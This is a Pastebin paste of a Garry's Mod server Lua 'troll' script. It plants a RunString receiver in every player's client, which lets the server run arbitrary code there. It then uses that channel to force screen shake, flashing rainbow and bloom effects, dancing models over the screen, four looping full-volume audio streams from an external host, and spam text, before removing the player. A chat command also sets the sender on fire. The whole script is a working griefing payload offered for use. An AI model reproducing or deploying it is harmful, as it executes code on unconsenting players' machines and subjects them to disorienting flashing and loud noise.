API tools faq
paste
2much4Us

Untitled

2much4Us
Oct 4th, 2018
139
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.24 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nop" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66. --Disco time
  67. lol:PushAction( 0, function( pPlayer )
  68. local idx = pPlayer:EntIndex()
  69. timer.Create( "beat".. idx, 0.42, 0, function()
  70. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  71. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  72. end )
  73.  
  74. lol:SendLua( pPlayer, [[
  75. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  76. local time = 0
  77.  
  78. hook.Add( "Think", "wat", function()
  79. if CurTime() < time then
  80. return
  81. end
  82.  
  83. time = CurTime() +0.05
  84. for i = 1, 16 do
  85. local part = emitter:Add(
  86. "particles/balloon_bit",
  87. LocalPlayer():GetPos() +Vector(
  88. math.random( -256, 256 ),
  89. math.random( -256, 256 ),
  90. 256
  91. )
  92. )
  93.  
  94. if part then
  95. local Size = math.random( 4, 7 )
  96.  
  97. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  98. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  99. part:SetDieTime( 4.5 )
  100. part:SetGravity( Vector(40, 0, -250) )
  101. part:SetLifeTime( 0 )
  102. part:SetStartSize( Size /2 )
  103. part:SetEndSize( Size )
  104. part:SetCollide( true )
  105. end
  106. end
  107. end )
  108. ]] )
  109.  
  110. lol:SendLua( pPlayer, [[
  111. hook.Add( "RenderScreenspaceEffects", "wat", function()
  112. local sinScaler = math.sin( CurTime() )
  113. DrawBloom(
  114. 0,
  115. 3,
  116. sinScaler *math.Rand(1, 8),
  117. sinScaler *math.Rand(1, 8),
  118. 6,
  119. math.Rand(0.5, 2),
  120. math.Rand(0, 0.3),
  121. math.Rand(0, 0.3),
  122. math.Rand(0.5, 1)
  123. )
  124.  
  125. DrawColorModify{
  126. ["$pp_colour_addr"] = 1,
  127. ["$pp_colour_addg"] = 0,
  128. ["$pp_colour_addb"] = 00,
  129. ["$pp_colour_brightness" ] = 0,
  130. ["$pp_colour_contrast" ] = 1,
  131. ["$pp_colour_colour" ] = 1,
  132. ["$pp_colour_mulr" ] = 0,
  133. ["$pp_colour_mulg" ] = 0,
  134. ["$pp_colour_mulb" ] = 0
  135. }
  136. end )
  137.  
  138. local mdl = ClientsideModel( "models/player/zombie_classic.mdl", RENDERGROUP_BOTH )
  139. mdl:SetNoDraw( true )
  140. local posCache, time = {}, 0
  141.  
  142. hook.Add( "HUDPaint", "dance", function()
  143. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  144. local idx = mdl:LookupSequence("taunt_dance")
  145. mdl.SeqDuration = mdl:SequenceDuration( idx )
  146. mdl.SeqStart = CurTime()
  147. mdl:ResetSequence( idx )
  148. end
  149.  
  150. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  151.  
  152.  
  153. local w, h = 300, 300
  154. local ang = Angle( 0, 0, 0 )
  155.  
  156. for i = 1, 32 do
  157. if CurTime() > time then
  158. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  159. end
  160. local x, y = posCache[i][1], posCache[i][2]
  161.  
  162. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  163. cam.IgnoreZ( true )
  164. render.SuppressEngineLighting( true )
  165.  
  166. render.SetLightingOrigin( mdl:GetPos() )
  167. render.ResetModelLighting( 1, 1, 1 )
  168. render.SetColorModulation( 0, 0, 1 )
  169.  
  170. mdl:DrawModel()
  171.  
  172. render.SuppressEngineLighting( false )
  173. cam.IgnoreZ( false )
  174. cam.End3D()
  175. end
  176.  
  177. if CurTime() > time then
  178. time = CurTime() +0.15
  179. end
  180. end )
  181.  
  182. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  183. ]] )
  184. end )
  185.  
  186.  
  187. --EVIL TIME rip headpones
  188. lol:PushAction( 0, function( pPlayer )
  189. lol:SendLua( pPlayer, [[
  190. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  191.  
  192. local sounds = {}
  193. for i = 1, 4 do
  194. sound.PlayURL( "https://httpsinfamousvoice1com.000webhostapp.com/LoveMe.mp3", "noblock noplay", function( pChan )
  195. sounds[#sounds +1] = pChan
  196. end )
  197. end
  198.  
  199. timer.Create( "asdf", 1, 0, function()
  200. if #sounds ~= 4 then return end
  201. timer.Destroy( "asdf" )
  202. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  203. end )
  204.  
  205.  
  206. surface.CreateFont( "SPAM", {font = "Arial",size = 55,weight = 2000,})
  207. local disco1 = vgui.Create("DHTML") disco1:SetSize(800,800) disco1:SetPos(ScrW() /550 - 15, ScrH() /1.25) disco1:OpenURL("http://i.imgur.com/L1LZmek.png")
  208. local disco2 = vgui.Create("DHTML") disco2:SetSize(800,800) disco2:SetPos(200,0) disco2:OpenURL("https://i.imgur.com/hwhGgPT.gif")
  209. local disco3 = vgui.Create("DHTML") disco3:SetSize(800,800) disco3:SetPos(ScrW()-550,0) disco3:OpenURL("https://i.imgur.com/hwhGgPT.gif")
  210. hook.Add( "HUDPaint", "Lines", function()
  211. local center = Vector(ScrW()/2, ScrH()/2, 0)
  212. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 5 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  213. for i = 1,32 do surface.DrawLine(center.x,center.y, math.random(0,ScrW()), math.random(0,ScrH())) end
  214. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 3 * 500 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  215. for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end
  216. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 7 * 150 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  217. for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end
  218. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 15 * 125 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  219. for i = 1,32 do surface.DrawLine(ScrW(),1, math.random(0,ScrW()), math.random(0,ScrH())) end
  220. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 25 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  221. for i = 1,32 do surface.DrawLine(1,ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end
  222. local col = 100 for i=0, col, 1 do local rainbow = HSVToColor(CurTime() % 40 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end
  223. for i = 1,32 do surface.DrawLine(ScrW(),ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end
  224. local col = 100 for i=0, col, 1 do rainbow = HSVToColor(CurTime() % 5 * 150 + i,1,1) end
  225. local col = 100 for i=0, col, 1 do r = HSVToColor(CurTime() % 30 * 150 + i,1,1) end
  226. for i = 1,32 do draw.SimpleTextOutlined("MEMES!! MEMES!!","SPAM",math.random(0,ScrW()-35), math.random(0,ScrH()-1),Color(rainbow.r,rainbow.g,rainbow.b),TEXT_ALIGN_CENTER,TEXT_ALIGN_TOP,3,Color(math.random(1,255),math.random(1,255),math.random(1,255))) end
  227. end)
  228.  
  229. ]] )
  230.  
  231. pPlayer:Remove()
  232. end )
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!